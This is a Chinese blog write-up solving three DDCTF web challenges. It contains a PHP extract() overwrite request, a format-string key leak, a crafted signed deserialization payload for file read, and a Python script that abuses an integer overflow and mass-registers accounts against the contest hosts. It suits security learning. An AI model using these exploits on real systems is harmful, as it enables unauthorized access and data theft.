Web 滴

Web 签到题

Web 大吉大利,今晚吃鸡

 

 

1)滴

网址http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

参数两次base64解码一次ascii解码得到flag.php

观察只有flag.php才显示图片,尝试把index.php按规则编码获取到index的源码

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);
 
header(\'content-type:text/html;charset=utf-8\');
if(! isset($_GET[\'jpg\']))
    header(\'Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09\');
$file = hex2bin(base64_decode(base64_decode($_GET[\'jpg\'])));
echo \'<title>\'.$_GET[\'jpg\'].\'</title>\';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.\'</br>\';
$file = str_replace("config","!", $file);
echo $file.\'</br>\';
$txt = base64_encode(file_get_contents($file));
 
echo "<img src=\'data:image/gif;base64,".$txt."\'></img>";
/*
 * Can you find the flag file?
 *
 */
?>

访问网址,发现出题人的博客,代码注释里日期2018.7.4找到对应日期的博客

猜测存在vim异常退出留下的文件,尝试访问博客中文件名practice.txt.swp

http://117.51.150.246/practice.txt.swp

得到的线索f1ag!ddctf.php

在开始页面编码f1ag!ddctf.php尝试读取,其中根据上面得到的源码 ‘!’ 被过滤,用config代替

得到源码

<?php
include(\'config.php\');
$k = \'hello\';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo\'hello\';
    }
}
?>

其中存在extract覆盖漏洞,直接访问http://117.51.150.246/f1ag!ddctf.php?uid=&k=

得到flag

 

 

2)WEB签到题

进入之后无法访问,查看网络传输信息,找到post请求网址为Auth.php猜测为验证登录

尝试ddctf_username=admin发包成功进入,提示请访问:app/fL2XID2i0Cdh.php

访问页面查看到app/Application.php和app/Session.php源码

 1 url:app/Application.php
 2 
 3 
 4 Class Application {
 5     var $path = \'\';
 6 
 7 
 8     public function response($data, $errMsg = \'success\') {
 9         $ret = [\'errMsg\' => $errMsg,
10             \'data\' => $data];
11         $ret = json_encode($ret);
12         header(\'Content-type: application/json\');
13         echo $ret;
14 
15     }
16 
17     public function auth() {
18         $DIDICTF_ADMIN = \'admin\';
19         if(!empty($_SERVER[\'HTTP_DIDICTF_USERNAME\']) && $_SERVER[\'HTTP_DIDICTF_USERNAME\'] == $DIDICTF_ADMIN) {
20             $this->response(\'您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php\');
21             return TRUE;
22         }else{
23             $this->response(\'抱歉,您没有登陆权限,请获取权限后访问-----\',\'error\');
24             exit();
25         }
26 
27     }
28     private function sanitizepath($path) {
29     $path = trim($path);
30     $path=str_replace(\'../\',\'\',$path);
31     $path=str_replace(\'..\\\',\'\',$path);
32     return $path;
33 }
34 
35 public function __destruct() {
36     if(empty($this->path)) {
37         exit();
38     }else{
39         $path = $this->sanitizepath($this->path);
40         if(strlen($path) !== 18) {
41             exit();
42         }
43         $this->response($data=file_get_contents($path),\'Congratulations\');
44     }
45     exit();
46 }
47 }

其中看到Application类中的path参数在魔术方法__destruct()中被调用,并对path进行了一些限制

其中还有危险函数file_get_contents可能用于读取目的文件

猜测可能存在反序列化漏洞

  1 url:app/Session.php
  2 
  3 
  4 
  5 include \'Application.php\';
  6 class Session extends Application {
  7 
  8     //key建议为8位字符串
  9     var $eancrykey                  = \'\';
 10     var $cookie_expiration            = 7200;
 11     var $cookie_name                = \'ddctf_id\';
 12     var $cookie_path                = \'\';
 13     var $cookie_domain                = \'\';
 14     var $cookie_secure                = FALSE;
 15     var $activity                   = "DiDiCTF";
 16 
 17 
 18     public function index()
 19     {
 20     if(parent::auth()) {
 21             $this->get_key();
 22             if($this->session_read()) {
 23                 $data = \'DiDI Welcome you %s\';
 24                 $data = sprintf($data,$_SERVER[\'HTTP_USER_AGENT\']);
 25                 parent::response($data,\'sucess\');
 26             }else{
 27                 $this->session_create();
 28                 $data = \'DiDI Welcome you\';
 29                 parent::response($data,\'sucess\');
 30             }
 31         }
 32 
 33     }
 34 
 35     private function get_key() {
 36         //eancrykey  and flag under the folder
 37         $this->eancrykey =  file_get_contents(\'../config/key.txt\');
 38     }
 39 
 40     public function session_read() {
 41         if(empty($_COOKIE)) {
 42         return FALSE;
 43         }
 44 
 45         $session = $_COOKIE[$this->cookie_name];
 46         if(!isset($session)) {
 47             parent::response("session not found",\'error\');
 48             return FALSE;
 49         }
 50         $hash = substr($session,strlen($session)-32);
 51         $session = substr($session,0,strlen($session)-32);
 52 
 53         if($hash !== md5($this->eancrykey.$session)) {
 54             parent::response("the cookie data not match",\'error\');
 55             return FALSE;
 56         }
 57         $session = unserialize($session);
 58 
 59 
 60         if(!is_array($session) OR !isset($session[\'session_id\']) OR !isset($session[\'ip_address\']) OR !isset($session[\'user_agent\'])){
 61             return FALSE;
 62         }
 63 
 64         if(!empty($_POST["nickname"])) {
 65             $arr = array($_POST["nickname"],$this->eancrykey);
 66             $data = "Welcome my friend %s";
 67             foreach ($arr as $k => $v) {
 68                 $data = sprintf($data,$v);
 69             }
 70             parent::response($data,"Welcome");
 71         }
 72 
 73         if($session[\'ip_address\'] != $_SERVER[\'REMOTE_ADDR\']) {
 74             parent::response(\'the ip addree not match\'.\'error\');
 75             return FALSE;
 76         }
 77         if($session[\'user_agent\'] != $_SERVER[\'HTTP_USER_AGENT\']) {
 78             parent::response(\'the user agent not match\',\'error\');
 79             return FALSE;
 80         }
 81         return TRUE;
 82 
 83     }
 84 
 85     private function session_create() {
 86         $sessionid = \'\';
 87         while(strlen($sessionid) < 32) {
 88             $sessionid .= mt_rand(0,mt_getrandmax());
 89         }
 90 
 91         $userdata = array(
 92             \'session_id\' => md5(uniqid($sessionid,TRUE)),
 93             \'ip_address\' => $_SERVER[\'REMOTE_ADDR\'],
 94             \'user_agent\' => $_SERVER[\'HTTP_USER_AGENT\'],
 95             \'user_data\' => \'\',
 96         );
 97 
 98         $cookiedata = serialize($userdata);
 99         $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
100         $expire = $this->cookie_expiration + time();
101         setcookie(
102             $this->cookie_name,
103             $cookiedata,
104             $expire,
105             $this->cookie_path,
106             $this->cookie_domain,
107             $this->cookie_secure
108             );
109 
110     }
111 }
112 
113 
114 $ddctf = new Session();
115 $ddctf->index();

57行 $session = unserialize($session); 验证了之前的猜想存在反序列化漏洞

那么就是要构造session并调用Application类赋给path值读取flag文件

35行 提示flag所在路径,猜测\’../config/flag.txt\’

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents(\'../config/key.txt\');
    }

 

构造的session会经过一些验证,其中主要构造验证hash值

其验证方式为session[-32:] = md5(eancrykey+session[:-32])

即session的后32位是eancrykey与前面所有字符串拼接后的md5值

接下来就是找eancrykey的具体值,注意到 64行

 if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

熟悉pwn的话容易看出这里存在格式化字符串漏洞

我们令nickname=%s 然后post

成功打印了eancrykey的值:EzBlrbNS

之后开始构造session,urldecode一下原来的session

再经过反序列化之后添加一个Application类,其中path处限制长度18

并且会把../过滤掉,构造\’…/./config/flag.txt\’恰好满足长度

<?php
 class Application{
     var $path=\'..././config/flag.txt\';
 }
    
    $a = new Application();

$arr = array (
  \'session_id\' => \'063e9d131dd8777edc6e3e6c87dcac56\',
  \'ip_address\' => \'x.x.x.x\',
  \'user_agent\' => \'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0\',
  \'user_data\' => \'\',
  \'payload\' => $a,
);

$test = serialize($arr);
$eancrykey= \'EzblrbNS\';
$hash = md5($eancrykey.$test); 
echo $test.$hash;
?>

得到

a:5:{s:10:"session_id";s:32:"063e9d131dd8777edc6e3e6c87dcac56";s:10:"ip_address";s:13:"x.x.x.x";s:10:"user_agent";s:78:"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0";s:9:"user_data";s:0:"";s:7:"payload";O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}}38b449cd93daf12a3d889a58594ab3d4

经过urlencode提交得到flag

 

 

3)大吉大利,今晚吃鸡~

 

注册登录,显示用户余额100,需要200购买入场卷,直接购买,支付显示余额不足

查看cookie,发现为REVEL_SESSION,推测后台使用golang编写

猜测存在数据溢出,查看go数据类型范围

尝试之后发现为uint32类型,抓包修改金额为4294967296,支付,成功购买

之后需要移除99个对手,注册一个新号同样操作之后填入id与ticket,显示成功移除一名机器人

之后目的就明确了,写脚本注册购买并将id和ticket填入即可

另外,注册页面存在越权漏洞,注册一个帐号,不管是否注册成功都会返回其cookie可用其登录

脚本如下,网上其他师傅的改了一点,学习了

 

 1 import requests
 2 import time
 3 
 4 users={}
 5 
 6 def register(name,pwd=\'aaaaaaaa\'):
 7     url=\'http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s\' %(name,pwd)
 8     requests.adapters.DEFAULT_RETRIES = 5
 9     re=requests.get(url=url)
10     re.keep_alive = False
11     cookies=re.cookies.get_dict()
12     users[cookies[\'user_name\']]=cookies[\'REVEL_SESSION\']
13     print cookies[\'user_name\'],cookies[\'REVEL_SESSION\']
14     return cookies[\'user_name\'],cookies[\'REVEL_SESSION\']
15 
16 def buyticket(name,session):
17     url=\'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296\'
18     header={
19         \'Cookie\': \'user_name=%s; REVEL_SESSION=%s\' %(name,session)
20     }
21     re=requests.get(url=url,headers=header)
22     bill_id = re.json()[\'data\'][0][\'bill_id\']
23     print bill_id
24     payticket(bill_id,name,session)
25     
26 
27 def payticket(bill_id,name,session):
28     url=\'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s\'%(bill_id)
29     header={
30         \'Cookie\': \'user_name=%s; REVEL_SESSION=%s\' %(name,session)
31     }
32     re=requests.get(url=url,headers=header)
33     my_id=re.json()["data"][0]["your_id"]
34     my_ticket=re.json()["data"][0]["your_ticket"]
35     getflag(my_id,my_ticket)
36 
37 def getflag(id,ticket):
38     url=\'http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s\' %(id,ticket)
39     header={
40         \'Cookie\': \'user_name=%s; REVEL_SESSION=%s\' %(MainUser,MainSession)
41     }
42     re=requests.get(url=url,headers=header)
43     print re.text
44 
45 
46 if __name__=="__main__":
47     MainUser,MainSession=register(\'MainUser0002\')
48     buyticket(MainUser,MainSession)
49     time.sleep(1.1)
50     for i in range(200,205):
51         register(\'AttachUrr%s\' %(i))
52         time.sleep(0.6)
53     for j in users:
54         if j!=MainUser:
55             buyticket(j,users[j])
56             time.sleep(0.6)

 

版权声明:本文为Aiden-原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/Aiden-/p/10765850.html